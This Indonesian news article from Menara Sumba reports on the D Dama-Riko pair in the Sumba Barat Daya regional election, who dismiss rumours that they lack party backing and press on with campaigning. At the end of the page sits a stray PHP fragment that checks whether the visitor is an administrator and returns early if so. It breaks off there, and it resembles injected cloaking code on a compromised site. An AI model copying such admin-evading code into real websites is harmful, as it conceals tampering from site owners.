Politik

Diterpa Isu Tidak Menguntungkan, Kubu D Dama-Riko Malah Kian Gencar Konsolidasi Kekuatan

×

Diterpa Isu Tidak Menguntungkan, Kubu D Dama-Riko Malah Kian Gencar Konsolidasi Kekuatan

Sebarkan artikel ini
Pemasangan baliho yang dilakukan tim pasangan D Dama-Riko pada salah satu titik keramaian. ( Foto Istimewa )

TAMBOLAKA, MENARASUMBA.COM – Kencangnya isu yang menyebut jika pasangan Dominggus Dama, SST, MT – Rikhardus Holo Kondo, SH tidak mendapatkan dukungan partai ditanggapi paket bacabup-bacawabup ini dengan tenang.

Optimisme pasangan yang akrab dengan sandi paket D Dama-Riko ini untuk melaju di pilkada November 2024 mendatang terus menggelora dengan pergerakan yang lebih massif.

Kubu pasangan dengan tagline perjuangan “Ole Milla-Ole Dengo” yang disebut sebagai kuda hitam dalam pilkada SBD ini kian gencar menggalang kekuatan basis dan melakukan sosialisasi.

“Fenomena dan dinamika yang berkembang seputar proses yang terjadi terhadap kubu D Dama-Riko dimana berseliweran informasi di ruang publik jika kami tidak mendapat pintu masuk,” sebut bacawabup Rikhardus Holo Kondo, Sabtu (27/07/2024).

Bakal calon wakil bupati SBD, Rikhardus Holo Kondo saat menyampaikan pernyataan kepada sejumlah awak media, Sabtu (27/07/2024). ( Foto Menara Sumba )

Dikatakannya, akhir-akhir ini informasi miring tersebut yang paling santer bahkan semakin mengemuka di ruang publik yang ditengarai bertujuan untuk menggerus simpati pendukung D Dama-Riko.

Menurut Kepala Dinas P dan K Kabupaten SBD yang telah ambil cuti di luar tanggungan negara sejak 18 Juli lalu, hal tersebut sudah merupakan sesuatu yang wajar dalam dunia politik.

“Jika dikilas ke belakang, saat belum muncul di ruang publik pun sudah ada yang menghembus isu jika saya tidak berminat ikut kontestasi pilkada karena takut kehilangan jabatan Kadis,” tuturnya.

Isu miring ini ditanggapi santai, dan pada tanggal 4 Juli 2024 Rikhardus mengajukan cuti di luar tanggungan negara.

Setelah berproses sesuai alur administrasi kepegawaian, pada tanggal 18 Juli 2024 ia menerima  SK cuti yang dikeluarkan Bupati SBD usai mendapat persetujuan teknis dari Badan Kepegawaian Negara (BKN).

“Dalam perjalanan kami berproses saat ini manakala saya sudah resmi cuti muncul lagi isu baru yang menyebut D Dama-Riko tidak mendapat dukungan partai,” jelasnya.

Isu yang berhembus kencang ini, sebut Rikhardus, bertolak belakang dengan fakta sesungguhnya saat ini.

“Karena dari komunikasi intens dan informasi A1 dari Pak Dominggus Dama yang sedang berproses di Jakarta saat ini paket D Dama-Riko tetap dan pasti mendapatkan pintu masuk,” imbuh Rikhardus.

Ia mengatakan, hal itu dimaknai dalam konteks komunikasi intens tanpa bermaksud mendahului kewenangan partai yang mengeluarkan mandat dukungan.

“Tetapi komunikasi-komunikasi politik intens yang menguat ke arah kita itu sudah dilakukan,” lanjutnya lagi.

Meski tidak ambil pusing dengan isu negatif ini, namun pasangan D Dama-Riko harus melakukan upaya agar animo dukungan akar rumput tidak tergerus.

Tangkal isu di ruang publik pun sudah diawali dan dihelat pada 21 Juli 2024 di Posko Pemenangan D Dama-Riko dengan menyampaikan sejumlah fakta aktual sebagai bentuk kontra informasi.

Rikhardus menandaskan, pihaknya tidak mungkin terus berdiam diri di tengah terpaan isu miring dan harus memberi reaksi sebagai efek kejut.

“Tapi yang paling penting saat ini kami akan terus bergerak massif menangguk simpati publik Loda Wee Maringi Pada Wee Malala lewat kerja kolaboratif seluruh akar rumput,” pungkasnya.  ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>